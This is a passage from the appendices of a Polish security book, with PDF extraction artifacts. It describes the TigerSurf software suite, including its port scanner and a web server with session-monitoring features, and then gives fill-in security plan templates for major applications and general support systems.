bronił wejścia na witrynę internetową, do której chcesz uzyskać dostęp. Dodatkowo,
osoby poniżej 18. roku życia oraz osoby, których uczucia mogą obrażać obrazy dla
osób dorosłych, nie mogą pośrednio lub bezpośrednio pobierać, uzyskiwać, przeglą-
dać, czytać, słuchać lub posiadać żadnych zdjęć, materiałów tekstowych, reklam lub
innych form komunikacji, wiadomości i zawartości innego rodzaju, która znajduje się
lub jest dostępna na zabronionej witrynie internetowej.

Jeśli masz mniej niż 18 lat, czujesz się urażony na widok takich materiałów lub dzia-
łasz w imieniu dowolnej agencji rządowej, nie masz prawa do pobierania żadnych
materiałów z takiej witryny, a proces ich pobierania może oznaczać celowe narusze-
nie prawa w zakresie takich materiałów.

Skanowanie zabezpieczeń

Funkcja skanowania zabezpieczeń (patrz rysunek A.14) to osobisty skaner portów
systemowych z prostym interfejsem użytkownika. Jak już wspomniano w obu tomach
tej książki, skanowanie potencjalnych dziur w zabezpieczeniach powinno odbywać
się dla maksymalnej liczby portów. Należy również śledzić porty wrażliwe na ataki
oraz takie, które mogą być przydatne dla potencjalnych napastników. Ten program
skanera zgłasza wszystkie nasłuchujące porty oraz przedstawia znane metody hake-
rów, dzięki czemu można podjąć dalsze kroki.

Rysunek A.14.
Osobisty skaner
zabezpiecze
ń
systemu TigerSurf

TigerSearch

Ten moduł został zaprojektowany jako szybki i bezpieczny skaner wyszukiwarek sie-
ciowych. Jeśli chcesz z niego skorzystać, po prostu wpisz słowo lub słowa kluczowe,
zaznacz wybrane wyszukiwarki (do wyboru masz wyszukiwarki AltaVista, Excite,
HotBot, InfoSeek, LookSmart, Lycos, Netscape, Thunderstone i Yahoo!), a następnie
kliknij przycisk Search. Po kilku chwilach pojawi się moduł z wynikami, pozwalający
na prostą nawigację między wybranymi wyszukiwarkami za pomocą zakładek (patrz
rysunek A.15). W każdym oknie możesz załadować inną stronę internetową.

background image


352

Hack Wars. Tom 2. Na tropie hakerów

352

Rysunek A.15.
Moduł przeszukiwania
Internetu

TigerTrack

TigerTrack to kolejne narzędzie z prostym interfejsem, które pozwala śledzić rynek
akcji. Ta wersja TigerTrack pozwala na wyszukiwanie akcji tylko jednej firmy —
musisz wprowadzić odpowiedni symbol, aby móc przeglądać aktualne dane w postaci
tabeli lub wykresu (patrz rysunek A.16).

Rysunek A.16.
Narzędzie do śledzenia
kursów akcji

Bezpieczna usługa FTP

Klient TigerSurf Secure FTP (patrz rysunek A.17) to bezpieczny moduł z prostym inter-
fejsem, służący do przesyłania plików przez sieć LAN, WAN lub Internet. Program ob-
sługuje logowanie anonimowe i z podaniem danych, a także nieznane typy logowania.

background image


Dodatek A

Oprogramowanie zabezpieczające

353

353

Rysunek A.17.
Bezpieczne
przeszukiwanie
serwerów FTP

Bezpieczny telnet

Klient TigerSurf Secure Telnet (patrz rysunek A.18) to bezpieczny moduł z prostym
interfejsem do dostępu przez Telnet w sieciach LAN, WAN i Internet. Program umożliwia
połączenia telnetowe z dowolnym podanym portem i serwerem, a także pozwala na
ś

ledzenie połączeń w celu zapewnienia zaawansowanego bezpieczeństwa oraz możli-

wości rozwiązywania problemów.

Rysunek A.18.
Funkcja bezpiecznego
Telnetu w TigerSurf

Zrzuty ekranowe

Program TigerSurf Screen Capture (patrz rysunek A.19) to przyjazne narzędzie do
szybkiego przechwytywania z Internetu obrazków, programów, gier i innych narzędzi.
Program pozwala na wykonanie zrzutu całego ekranu, formularzy, a także wybranego
obszaru. Inne dostępne funkcje to wykonywanie zrzutów po określonym czasie oraz
drukowanie i zapisywanie obrazków na twardym dysku lub dyskietce.

background image


354

Hack Wars. Tom 2. Na tropie hakerów

354

Rysunek A.19.
Narzędzie Screen
Capture do robienia
zrzutów ekranowych

Przeglądarka zdjęć

Program TigerSurf Image Viewer (patrz rysunek A.20) to doskonałe narzędzie do
przeglądania zdjęć i rysunków z pełnej, automatycznie wygenerowanej listy z pod-
glądem plików. Dzięki temu programowi możliwe jest proste śledzenie i ładowanie
obrazków przechwyconych przez Screen Capture lub utworzonych w innych progra-
mach graficznych. Co więcej, narzędzie to pozwala także na załadowanie wybranego
pliku w celu szybkiej edycji.

Rysunek A.20.
Przeglądarka zdjęć
TigerSurf

Serwer Tiger Web

Serwer Tiger Web to zestaw narzędzi na poziomie przedsiębiorstwa, który może być
stosowany przez użytkowników prywatnych i biznesowych. Serwer może być używany
z dowolnym kontem modemowym, xDSL, kablowym, ISDN lub łączem dzierżawio-
nym. Ten zestaw został zaprojektowany tak, aby umożliwiać obsługę serwera interne-
towego z płyty CD, co oznacza, iż cała witryna może być umieszczona na takiej płycie.
Zapewnia to świetną obronę przed atakami hakerów na Twoją witrynę, gdyż napastnik
nie może zdalnie nadpisać plików na płycie CD.

background image


Dodatek A

Oprogramowanie zabezpieczające

355

355

Inne ekscytujące funkcje programu obejmują podsłuchiwanie sesji, aktywne monito-
rowanie serwera, zdalną kontrolę przez Internet, obsługę CGI (włączając w to dostęp
do księgi gości), pogawędki w czasie rzeczywistym, własne moduły FTP i Telnetu
oraz obsługę adresów IP w czasie rzeczywistym.

Funkcja obsługi adresów IP w czasie rzeczywistym jest czymś wyjątkowym. Użyt-
kownicy ze stałymi, tymczasowymi lub modemowymi kontami dostępowymi mogą
uzyskać profesjonalny dostęp do serwera z dowolnego miejsca i w dowolnym czasie,
niezależnie od istnienia wielu kont modemowych, które przydzielają inny adres IP dla
każdej sesji. Ten zestaw działa również z usługami DNS lub bez nich. Inne oferowane
funkcje to:









demon serwera internetowego z obsługą CGI i własnymi księgami gości;









obsługa adresów IP w czasie rzeczywistym, dzięki czemu można zapewnić
usługi internetowe z każdej konfiguracji połączenia;









demon IRC czasu rzeczywistego (do 50 użytkowników) z funkcją transferu
plików między rozmawiającymi (świetna funkcja także do tworzenia
konferencji biznesowych);









demony FTP i Telnetu do bezpiecznego przesyłania plików i kontroli operacji;









demon monitorowania usług, mający możliwość aktywnego alarmowania
po wystąpieniu przeciążenia zasobów lub awarii usługi;









narzędzia do podsłuchiwania sesji, dzięki której administratorzy mogą
szpiegować, przerywać i rozłączać aktywne połączenia;









osobisty edytor HTML do szybkiego tworzenia strony domowej;









pełny serwer MUD;









własny system tablic ogłoszeniowych;









prosty, przyjazny, scentralizowany graficzny interfejs użytkownika.

Przy użyciu tego programu możesz śledzić gości (w czasie rzeczywistym) oraz szpie-
gować ich sesje, a nawet przerywać ich połączenia w razie potrzeby. Jest to uniwersalny
pakiet komunikacyjny dla firm, rodzin i użytkowników indywidualnych. Gracze mogą
z niego korzystać do gromadzenia użytkowników gier MUD z całego świata. Rodziny
mogą pozostawać w kontakcie i szybko przekazywać sobie pliki i zdjęcia, a studenci
mogą komunikować się ze znajomymi i rodzinami. Podsumowując, żaden inny produkt
na rynku nie oferuje obecnie wszystkich, niżej wymienionych, funkcji.









Obsługa adresów IP w czasie rzeczywistym w celu dynamicznego serwowania
stron internetowych; kompatybilna z połączeniami modemowymi, ISDN,
kablowymi, xDSL oraz łączami dzierżawionymi, z zarejestrowaną nazwą
domeny lub bez niej.









Brak wymagań co do systemu klasy serwera — wymagany jest tylko system
Windows 9x, Millenium Edition (ME), 2000 lub NT (o minimalnych zasobach,
na przykład 16 MB pamięci RAM); jest to idealny system dla domu oraz
małych i średnich firm, gdzie ważne są niskie koszty.

background image


356

Hack Wars. Tom 2. Na tropie hakerów

356









W celu zagwarantowania bezpieczeństwa i mobilności serwer może działać
z płyty CD.









Każdy i w dowolnym miejscu może udostępnić obsługę stron internetowych,
pogawędki w czasie rzeczywistym z przesyłaniem plików oraz usługi Telnetu.
Możliwe jest wykorzystanie bezpiecznego demona do zdalnej kontroli
oraz funkcji szpiegowania sesji.

Odwiedź witrynę www.TigerTools.net lub www.wiley.com, aby uzyskać więcej infor-
macji na temat dostępności serwera Tiger Web oraz oferowanych opcji zakupu.

background image


Dodatek A

Oprogramowanie zabezpieczające

357

357




background image

357

Dodatek B

Szablony planu zabezpieczeń

Plan zabezpieczeń głównej aplikacji

Identyfikacja systemu

Data.

Nazwa systemu

Unikalny identyfikator i nazwa przyznana dla systemu.

Odpowiedzialna organizacja

Organizacja odpowiedzialna za system.

Informacje kontaktowe

Nazwisko osoby znającej system lub właściciela systemu:









nazwisko,









stanowisko,









adres,









telefon,









adres e-mail.

Przydział odpowiedzialności za zabezpieczenia

Nazwisko osoby odpowiedzialnej za bezpieczeństwo systemu:









nazwisko,









stanowisko,

background image


358

Hack Wars. Tom 2. Na tropie hakerów

358









adres,









telefon,









adres e-mail.

Status operacyjny systemu

Jeśli wybrano więcej niż jeden status, należy podać części systemu, jakie obejmuje
dany status:









operacyjny;









w konstrukcji;









przechodzi poważną modyfikację.

Ogólny opis i cele









Opisać funkcję lub cel aplikacji oraz przetwarzane przez nią informacje.









Opisać proces przetwarzania przez aplikację od wejścia do systemu do wyjścia
z niego.









Opisać sposób organizacji użytkowników (wewnętrznych i zewnętrznych)
oraz obsługiwany typ danych i przetwarzania.

Środowisko systemu









Przedstawić ogólny opis techniczny systemu. Należy dołączyć opis wszystkich
czynników środowiskowych i technicznych, które budzą pewne zastrzeżenia
pod względem zabezpieczeń (takie jak połączenia modemowe, otwarta sieć itp.).









Opisać główną platformę komputerową oraz podstawowe komponenty
systemu, włączając w to osprzęt, oprogramowanie oraz zasoby komunikacyjne.









Dołączyć informacje o wszystkich programach chroniących system i informacje.

Połączenia systemu i współdzielenie informacji









Podać listę połączonych systemów oraz ich identyfikatory (jeśli stosowane).









W przypadku połączenia z zewnętrznym systemem, który nie jest objęty
przez plan zabezpieczeń, należy krótko omówić wszystkie niezbędne kwestie
związane z zabezpieczeniami.









Przed połączeniem z innymi systemami oraz współdzieleniem wrażliwych
danych i informacji należy uzyskać pisemną autoryzację. Opisać zasady
zachowania, które muszą być zachowane w połączonych systemach.
Do planu zabezpieczeń dołączyć opis tych zasad lub omówić je w tej sekcji.

Prawo, regulacje i zasady mające wpływ na system









Zamieścić listę wszystkich praw, regulacji i zasad, które ustanawiają
konkretne wymagania wobec poufności, integralności i dostępności
informacji i danych w systemie.

background image


Dodatek B

Szablony planu zabezpieczeń

359

359

Ogólny opis wrażliwości informacji









Ogólnie opisać informacje obsługiwane przez system, a także konieczność
wprowadzenia środków ochronnych. Te informacje muszą się odnosić
do wszystkich trzech podstawowych wymagań dotyczących zabezpieczeń
— dostępności, integralności i poufności. Dla każdej z trzech kategorii
(dostępności, integralności i poufności) wskazać, czy wymagania pod
względem zabezpieczeń są wysokie, średnie lub niskie.









Dołączyć oszacowanie ryzyka oraz wielkości szkód spowodowanych
przez utratę, niewłaściwe użycie, nieautoryzowany dostęp lub modyfikację
informacji w systemie.

Kontrola kierownicza

Ocena i zarządzanie ryzykiem









Opisać metodologię oceny poziomu ryzyka, jaka została użyta do identyfikacji
zagrożeń i słabych stron systemu. Dołączyć datę wykonania oceny ryzyka
systemu. Jeśli dla danego systemu nie wykonano oceny ryzyka, należy
dołączyć datę (miesiąc i rok) przewidywanego wykonania takiej analizy.

Przegląd środków kontroli zabezpieczeń









Wymienić wszystkie niezależne przeglądy zabezpieczeń systemu, jakie
zostały wykonane w ciągu ostatnich trzech lat.









Dołączyć informacje o typie wykonywanej oceny zabezpieczeń i osobie,
która ją przeprowadzała, a także przedstawić cel badania, jego wyniki
oraz działania, które zostały podjęte dzięki badaniu.

Zasady zachowania









Dla każdego systemu należy utworzyć pisemny zestaw zasad zachowania.
Zasady zachowania powinny być udostępnione wszystkim użytkownikom,
zanim uzyskają dostęp do systemu. Zaleca się, aby zasady zawierały stronę
z podpisami, na której użytkownik musi potwierdzić odbiór zasad.









Jasno zdefiniować odpowiedzialność i oczekiwania względem wszystkich
osób, które uzyskują dostęp do systemu. W zasadach należy zawrzeć informacje
o konsekwencjach niewłaściwego zachowania lub nieprzestrzegania zasad.
Dołączyć niezbędne limity połączeń z innymi systemami.









Jako załącznik umieścić zasady zachowania dla systemu, a w tej sekcji
powinien znaleźć się numer właściwego załącznika. Możliwe jest także
dołączenie zasad do tej sekcji.

Planowanie zabezpieczeń w cyklu życia









Ustalić fazę (fazy) cyklu życia systemu lub jego poszczególnych części.

background image


360

Hack Wars. Tom 2. Na tropie hakerów

360









Opisać sposób zapewnienia bezpieczeństwa w fazie (fazach) cyklu życia,
w której obecnie znajduje się system.

Faza inicjacji









Umieścić odnośnik do oceny wrażliwości znajdującej się w sekcji Wrażliwość
przechowywanych informacji
.

Faza rozwoju i przejęcia









Czy w czasie projektowania systemu zidentyfikowano wymagania pod
względem bezpieczeństwa?









Czy przed dostarczeniem systemu stworzono odpowiednie kontrole
zabezpieczeń wraz z powiązanymi procedurami badania i testowania?









Czy dokumenty ofertowe (na przykład zapytanie ofertowe) zawierały wymagania
pod względem zabezpieczeń oraz procedur badawczych i testowych?









Czy te wymagania umożliwiają aktualizację zabezpieczeń w razie pojawienia
się nowych zagrożeń i słabych punktów oraz w przypadku wdrożenia nowych
technologii?









Jeśli zakupiono komercyjną aplikację lub jeśli aplikacja zawiera typowe
komercyjne programy, to czy zidentyfikowano i dołączono do specyfikacji
przejęcia ich wymagania wobec zabezpieczeń?

Faza implementacji









Czy wykonano przegląd projektu oraz testy systemowe przed rozpoczęciem
pracy przez system? Czy testy zostały w pełni udokumentowane? Czy system
otrzymał niezbędne certyfikaty?









Czy po zakończeniu projektowania dodano jakieś środki kontroli zabezpieczeń?









Czy aplikacja przeszła badania techniczne w celu sprawdzenia, czy spełnia
wymagania pod względem prawa, regulacji, zasad i standardów?









Czy aplikacja uzyskała certyfikaty i akredytacje? Kiedy? Jeśli system nie
uzyskał jeszcze autoryzacji, podać datę wysłania prośby o autoryzację.

Faza działania i obsługi

Plan zabezpieczeń dokumentuje czynności zabezpieczające wymagane w tej fazie.

Faza usuwania









W jaki sposób informacje są przenoszone do innego systemu, archiwizowane,
usuwane lub niszczone? Omówić środki kontroli używane do zapewnienia
poufności informacji.









Czy wrażliwe dane są szyfrowane?









W jaki sposób informacje są usuwane i kasowane z systemu?

background image


Dodatek B

Szablony planu zabezpieczeń

361

361









Czy informacje lub nośniki są oczyszczane, nadpisywane,
rozmagnesowywane czy niszczone?

Autoryzacja działania









Podać datę autoryzacji, nazwisko i stanowisko menedżera, który autoryzuje
przetwarzanie informacji w systemie.









Jeśli nie uzyskano autoryzacji, podać nazwisko i stanowisko menedżera,
który prosi o zgodę na działanie oraz datę tej prośby.

Kontrola operacyjna

Bezpieczeństwo personelu









Czy wszystkie stanowiska zostały zbadane pod kątem poziomu wrażliwości?









Czy wszyscy użytkownicy odbyli szkolenie odpowiadające stanowisku, które
zostało im przydzielone?









Czy dostęp użytkowników został ograniczony do minimalnego poziomu,
wymaganego do wykonania pracy?









Czy istnieje system zamawiania, zakładania, wydawania i zamykania kont
użytkowników?









Czy krytyczne funkcje zostały rozdzielone między różne osoby (podział
obowiązków)?









Jakie mechanizmy zastosowano, aby użytkownicy byli odpowiedzialni
za swoje postępowanie? Opisać te mechanizmy.









Jakie są procedury przyjaznego i nieprzyjaznego zakończenia procesu?

Ochrona fizyczna i środowiskowa

Opisać fizyczne zabezpieczenia obszaru, na którym aplikacja wykonuje przetwarzanie
informacji (na przykład blokady terminali, ogrodzenie wokół budynków lub terenów
organizacji itp.). Należy omówić takie czynniki, jak kontrola dostępu, bezpieczeństwo
pożarowe, awaria systemów wsparcia, zawalenie budynku, awaria kanalizacji, prze-
chwycenie danych oraz systemy mobilne i przenośne.

Kontrola produkcyjna oraz kontrola wejścia i wyjścia

Opisać środki kontroli używane do oznaczania, klasyfikowania, przetwarzania, prze-
chowywania oraz usuwania informacji i nośników wejściowych i wyjściowych, a tak-
ż

e procedury etykietowania i dystrybucji informacji oraz nośników. Przedstawić listę

ś

rodków kontroli do monitowania instalacji i aktualizacji oprogramowania aplikacji.

Zamieścić opis stosowanych procedur, które obsługują działanie aplikacji. Poniżej
znajduje się kilka przykładów tematów, które powinny zostać omówione.









Wsparcie dla użytkowników: Czy istnieje komórka lub grupa ludzi zajmująca
się pomocą użytkownikom, która potrafi udzielić porady lub zareagować

background image


362

Hack Wars. Tom 2. Na tropie hakerów

362

na naruszenie bezpieczeństwa w określonym terminie? Czy istnieją procedury,
takie jak opisane poniżej, które dokumentują sposób rozpoznawania,
rozwiązywania i raportowania takich zdarzeń lub problemów?









Procedury, dzięki którym nieautoryzowane osoby nie mogą odczytać, skopiować,
zmienić ani ukraść wydrukowanych lub elektronicznych informacji.









Procedury, dzięki którym tylko autoryzowani użytkownicy mogą pobrać,
odebrać lub dostarczyć informacje wejściowe i wyjściowe oraz nośniki.









Ś

ledzenie odbioru ważnych danych wejściowych i wyjściowych.









Procedury ograniczające dostęp do urządzeń wyjściowych.









Procedury i środki kontroli przy transporcie lub wysyłce nośników i wydruków.









Zewnętrzny lub wewnętrzny system znakowania wrażliwości informacji.









Zewnętrzny system znakowania z instrukcjami dotyczącymi sposobu
traktowania (na przykład identyfikatory dziennika lub inwentarza,
kontrolowany dostęp, specjalne instrukcje dotyczące przechowywania,
daty wysłania lub zniszczenia).









Kontrola śladów do celów zarządzania inwentarzem.









Procedury i środki kontroli fizycznej i środowiskowej ochrony miejsca
przechowywania nośników i biblioteki.









Procedury czyszczenia nośników elektronicznych w celu ponownego użycia
(na przykład nadpisanie lub rozmagnesowanie nośników elektronicznych).









Procedury kontrolowanego przechowywania, obsługi i zniszczenia
uszkodzonych nośników lub takich, które nie mogą być wyczyszczone w celu
ponownego użycia.









Procedury fizycznego zniszczenia wydruków, które nie są już potrzebne.

Planowanie awaryjne

Krótko opisać procedury (plan zapasowy), które pozwolą na kontynuację działania
aplikacji, jeśli system obsługi IT stanie się niedostępny. Jeśli formalny plan zapasowy
został w pełni utworzony, należy umieścić odnośnik do niego. Kopia planu zapaso-
wego może być dołączona jako załącznik. W tej sekcji należy dołączyć wymienione
poniżej elementy.









Wszystkie umowy dotyczące obsługi archiwizacji (na przykład kontrakt
z komercyjnym dostawcą usług).









Udokumentowane procedury archiwizacji, włączając ich częstotliwość
(codziennie, tygodniowo, miesięcznie) oraz zakres (pełna kopia awaryjna,
kopia przyrostowa lub różnicowa).









Miejsce przechowywania kopii zapasowych oraz liczbę utrzymywanych
generacji kopii zapasowych.

background image


Dodatek B

Szablony planu zabezpieczeń

363

363









Czy istnieją przetestowane plany zapasowe na wypadek wystąpienia groźnego
zdarzenia? Jak często są testowane?









Czy wszyscy pracownicy zostali przeszkoleni w zakresie swoich ról
i odpowiedzialności pod względem planów awaryjnych, ratunkowych
i na wypadek katastrofy?









Zasięg procedur archiwizacji (na przykład, co jest archiwizowane).

Kontrola obsługi oprogramowania









Czy oprogramowanie zostało napisane w firmie lub na zamówienie?









Czy oprogramowanie należy do organizacji? Czy oprogramowanie zostało
otrzymane z innego biura?









Czy oprogramowanie jest produktem komercyjnym, objętym prawami
autorskimi, lub typu shareware? Czy zakupiono wystarczająco dużo licencji
dla wszystkich systemów, na których będzie wykorzystywana ta aplikacja?









Czy istnieje formalny proces kontroli zmian dla aplikacji; a jeśli tak,
czy wymaga on przetestowania i zatwierdzenia wszystkich zmian
w oprogramowaniu, zanim zostanie ono wdrożone do użycia?









Czy dane testowe były danymi rzeczywistymi, czy spreparowanymi?









Czy wszystkie zmiany w oprogramowaniu są udokumentowane?









Czy wszystkie wyniki testów zostały udokumentowane?









Czy zainstalowano wszystkie niezbędne poprawki?









Czy zasady organizacji nie pozwalają na nielegalne użycie oprogramowania
objętego prawami autorskimi lub typu shareware?









Czy wykonywane są okresowe kontrole komputerów użytkowników pod
względem instalacji tylko legalnych kopii programów, na które posiadana
jest licencja?









Jakie programy i procedury są wykorzystywane w celu zabezpieczenia przed
nielegalnym użyciem oprogramowania?









Czy istnieje zarządzanie gwarancjami na oprogramowanie w celu
minimalizacji kosztów aktualizacji, uzyskania zwrotu kosztów lub wymiany
wadliwych produktów?

Kontrola ważności i integralności danych









Czy zainstalowano oprogramowanie do wykrywania i eliminacji wirusów?
Jeśli tak, to czy istnieją procedury do aktualizacji plików podpisów wirusów,
automatycznego lub ręcznego skanowania antywirusowego oraz usuwania
wirusów i tworzenia raportów?









Czy stosowane są przez system procedury kontrolne — na przykład sumy
kontrolne, sumy hash i liczniki rekordów? Należy dołączyć opis działań
podjętych w celu usunięcia wszelkich niezgodności.

background image


364

Hack Wars. Tom 2. Na tropie hakerów

364









Czy używane są narzędzia do sprawdzania i łamania haseł?









Czy aplikacje korzystają z programów do weryfikacji integralności w celu
wyszukania dowodów na manipulację danymi, błędów oraz pominięć?









Czy w systemie zainstalowano narzędzia do wykrywania włamań?









Czy używana jest funkcja monitorowania wydajności systemu w celu analizy
dzienników wydajności systemu w czasie rzeczywistym, wyszukiwania
problemów z dostępnością (włączając w to aktywne ataki) oraz awarii lub
spowolnienia pracy systemu i sieci?









Czy w systemie są wykonywane testy penetracji? Jeśli tak, to jakie procedury
są stosowane w celu zapewnienia prawidłowego wykonywania takich testów?









Czy aplikacja używa funkcji uwierzytelniania wiadomości w celu upewnienia
się, czy nadawca wiadomości jest znany, a wiadomość nie została zmieniona
w czasie transmisji?

Dokumentacja

Dokumentacja systemu obejmuje opisy sprzętu i programów, zasady, standardy, procedu-
ry oraz akceptacje odnoszące się do bezpieczeństwa zautomatyzowanego systemu infor-
matycznego (aplikacja oraz system obsługi, na którym jest ona wykonywana). Należy tu
także dołączyć opis procedur archiwizacji oraz planu zapasowego, a także opis procedur
użytkownika i operatora.









Przedstawić listę dokumentacji aplikacji (dokumentacja sprzętu i programów
od producenta, wymagania funkcjonalne, plan zabezpieczeń, plan zabezpieczeń
systemu ogólnego wsparcia, podręczniki aplikacji, dokumentacja wyników
testów, standardowe procedury operacyjne, procedury awaryjne, plany zapasowe,
zasady i procedury użytkownika, ocena ryzyka, dokumenty i oświadczenia
o certyfikatach i akredytacji, przeglądy weryfikacyjne i inspekcje).

Znajomość zabezpieczeń i szkolenia









Opisać program świadomości aplikacji (plakaty, foldery i inne).









Opisać typ i częstotliwość szkoleń w zakresie obsługi danej aplikacji i systemu
ogólnego wsparcia, przeprowadzanych dla pracowników oraz osób
współpracujących (seminaria, warsztaty, zajęcia w klasach, grupy
dyskusyjne, odgrywanie ról oraz szkolenie w trakcie pracy).









Opisać procedurę sprawdzania, czy pracownicy i osoby współpracujące
przeszły niezbędne szkolenia.

Kontrola techniczna

Identyfikacja i uwierzytelnianie









Opisać mechanizmy kontroli uwierzytelniania dla głównej aplikacji.









Opisać metodę uwierzytelniania użytkowników (hasło, token lub cechy
biometryczne).

background image


Dodatek B

Szablony planu zabezpieczeń

365

365









Jeśli stosowany jest system haseł, podać następujące informacje:



dozwolony zestaw znaków;



długość hasła (minimalna i maksymalna);



okres upływu ważności hasła oraz sposób wymuszania jego zmiany;



liczba niedozwolonych generacji starych haseł;



procedury zmiany hasła;



procedury obsługi zagubionych haseł;



procedury obsługi naruszenia systemu haseł.









Wskazać częstotliwość zmiany haseł, opisać sposób wymuszenia zmiany
hasła (na przykład przez program lub administratora systemu) oraz podać
osobę, która zmienia hasło (użytkownik, system lub administrator systemu).









Opisać sposób obsługi poszczególnych kont i kontroli śladów (na przykład,
czy hasła są powiązane z identyfikatorem użytkownika, który jest
przydzielony tylko dla jednej osoby) przez mechanizm kontroli dostępu.









Opisać techniki własnego zabezpieczenia mechanizmu uwierzytelniania
użytkownika (na przykład, czy hasła są przesyłane i przechowywane
przy użyciu jednokierunkowego szyfrowania tak, że nikt, włączając w to
administratora, nie może odczytać haseł w czystym tekście; czy hasła są
generowane automatycznie; czy hasła są porównywane ze słownikiem
niedozwolonych haseł; czy hasła są szyfrowane w czasie przesyłania).









Podać liczbę nieudanych prób dostępu, jaka może wystąpić dla danego
identyfikatora użytkownika lub miejsca dostępu (terminal lub port),
a także opisać działania, jakie zostaną podjęte po przekroczeniu limitu.









Opisać procedurę weryfikacji, czy zostały zmienione wszystkie domyślne
hasła administratorów, które ustawiono systemowo.









Opisać procedury ograniczania skryptów dostępowych z dołączonym hasłem
(na przykład, czy skrypty z dołączonym hasłem są zabronione lub dozwolone
tylko dla aplikacji wsadowych).









Opisać wszystkie zasady, które pozwalają na pominięcie wymagań
dotyczących uwierzytelniania użytkownika, technologie „pojedynczego
podpisu” (na przykład bezpośrednie połączenie dwóch komputerów, serwery
uwierzytelniania, identyfikator „użytkownik do hosta” oraz identyfikatory
grup użytkowników), a także wszystkie środki kontroli naruszenia
uwierzytelniania.









Czy używane są podpisy cyfrowe, czy elektroniczne? Jeśli tak, należy opisać
używane standardy a także procedury zarządzania kluczami — generowanie,
dystrybucja, przechowywanie i usuwanie.

Logiczna kontrola dostępu









Omówić środki kontroli, które są stosowane do autoryzacji lub ograniczenia
działalności użytkowników i personelu systemowego w ramach aplikacji.
Opisać funkcje sprzętu lub oprogramowania, które zostały utworzone w celu

background image


366

Hack Wars. Tom 2. Na tropie hakerów

366

umożliwienia tylko autoryzowanego dostępu do aplikacji lub wewnątrz niej,
do ograniczenia działań użytkowników tylko do autoryzowanych transakcji
i funkcji, a także do wykrywania nieautoryzowanych działań (na przykład listy
kontroli dostępu ACL).









Opisać sposób przyznawania uprawnień dostępowych. Czy przywileje są
przydzielane w oparciu o wykonywane zadania?









Opisać możliwość utworzenia przez aplikację listy kontroli dostępu ACL
lub rejestru.









Opisać sposób, w jaki ogranicza się użytkownikom aplikacji dostęp do
systemu operacyjnego, innych aplikacji lub innych zasobów systemowych,
które nie są wymagane podczas wykonywania przez nich swoich obowiązków.









Opisać środki kontroli używane do wykrywania nieautoryzowanych prób
transakcji przez autoryzowanych lub nieautoryzowanych użytkowników.
Podać wszystkie ograniczenia, które uniemożliwiają użytkownikom uzyskanie
dostępu do systemu lub aplikacji poza normalnymi godzinami pracy
lub w czasie weekendów. Należy wymienić zastosowane ograniczenia.









Wskazać, po jakim okresie braku aktywności użytkownika system automatycznie
oczyszcza wyświetlany obraz, a po jakim czasie system automatycznie
odłącza nieaktywnych użytkowników lub wymaga od nich ponownego
podania unikalnego hasła w celu przyłączenia do systemu lub aplikacji.









Wskazać, czy jest stosowane szyfrowanie jako część procedur kontroli
dostępu do systemu lub aplikacji w celu uniemożliwienia nieautoryzowanego
dostępu do wrażliwych plików.









Uzasadnić decyzję o użyciu banerów ostrzegawczych lub ich braku; dołączyć
przykłady używanych banerów.

Kontrola dostępu publicznego

Jeśli osoby z zewnątrz uzyskują dostęp do głównej aplikacji, należy opisać zastoso-
wane dodatkowe środki kontroli, używane do zabezpieczenia integralności aplikacji
oraz zabezpieczenia przetwarzanych informacji. Takie środki kontroli obejmują roz-
dzielenie informacji udostępnianych osobom z zewnątrz od oficjalnych plików orga-
nizacji. Inne środki kontroli mogą obejmować:









pewną formę identyfikacji i uwierzytelniania;









kontrolę dostępu w celu ograniczenia elementów, jakie użytkownik może
czytać, zapisywać, modyfikować lub usuwać;









ś

rodki kontroli uniemożliwiające użytkownikom z zewnątrz modyfikację

informacji w systemie;









podpisy cyfrowe;









płytę CD-ROM z informacjami, które mają być dystrybuowane na zewnątrz;









umieszczenie w oddzielnym systemie kopii informacji do publicznego dostępu;









ograniczenie osobom z zewnątrz dostępu do działających baz danych;

background image


Dodatek B

Szablony planu zabezpieczeń

367

367









weryfikację czy udostępniane na zewnątrz programy i informacje są wolne
od wirusów;









kontrolę śladów oraz poufność użytkowników;









dostępność systemu i danych;









analizę prawną.

Śledzenie śladów









Czy funkcja śledzenia śladów współpracuje z funkcją obsługi kont, dzięki
czemu można uzyskać zapis działań użytkownika?









Czy funkcja śledzenia śladów obejmuje wystarczająco dużo informacji,
aby ustalić typ zdarzeń i ich sprawcę? Należy tu umieścić typ zdarzenia, datę
wystąpienia zdarzenia, identyfikator użytkownika powiązany ze zdarzeniem
oraz program lub polecenie użyte do rozpoczęcia zdarzenia.









Czy dostęp do dzienników funkcji śledzenia jest ściśle kontrolowany?









Czy zapewniona jest poufność informacji funkcji śledzenia śladów, jeśli
na przykład są zapisywane osobiste dane użytkowników?









Jak często są przeglądane dane funkcji śledzenia śladów? Czy istnieją zasady
takiego przeglądu?









Czy właściwy administrator na poziomie systemu lub aplikacji przegląda
dane funkcji śledzenia śladów, badając znany problem systemu albo aplikacji,
znany przypadek naruszenia istniejących wymagań przez użytkownika
lub niewyjaśniony problem związany z systemem lub użytkownikiem?

Plan zabezpieczeń systemu ogólnego wsparcia

Identyfikacja systemu

Data.

Nazwa systemu

Unikalny identyfikator i nazwa przyznana dla systemu.

Odpowiedzialna organizacja

Organizacja odpowiedzialna za system.

Informacje kontaktowe

Nazwisko osoby znającej system lub właściciela systemu:









nazwisko,









stanowisko,

background image


368

Hack Wars. Tom 2. Na tropie hakerów

368









adres,









telefon,









adres e-mail.

Przydział odpowiedzialności za zabezpieczenia

Nazwisko osoby odpowiedzialnej za bezpieczeństwo systemu:









nazwisko,









stanowisko,









adres,









telefon,









adres e-mail.

Status operacyjny systemu

Jeśli wybrano więcej niż jeden status, należy podać części systemu, jakie obejmuje
dany status:









operacyjny;









w konstrukcji;









przechodzi poważną modyfikację.

Ogólny opis i cele









Opisać funkcję lub cel systemu oraz przetwarzane przez niego informacje.









Opisać proces przetwarzania przez aplikację od wejścia do systemu do wyjścia
z niego.









Opisać sposób organizacji użytkowników (wewnętrznych i zewnętrznych)
oraz obsługiwany typ danych i przetwarzania.









Przedstawić listę wszystkich aplikacji obsługiwanych przez system ogólnego
wsparcia. Opisać funkcje każdej aplikacji oraz przetwarzane przez nią informacje.

Środowisko systemu









Przedstawić ogólny opis techniczny systemu. Należy dołączyć opis wszystkich
czynników środowiskowych i technicznych, które budzą pewne zastrzeżenia
pod względem zabezpieczeń (takie jak połączenia modemowe, otwarta
sieć itp.).









Opisać główną platformę komputerową oraz podstawowe komponenty
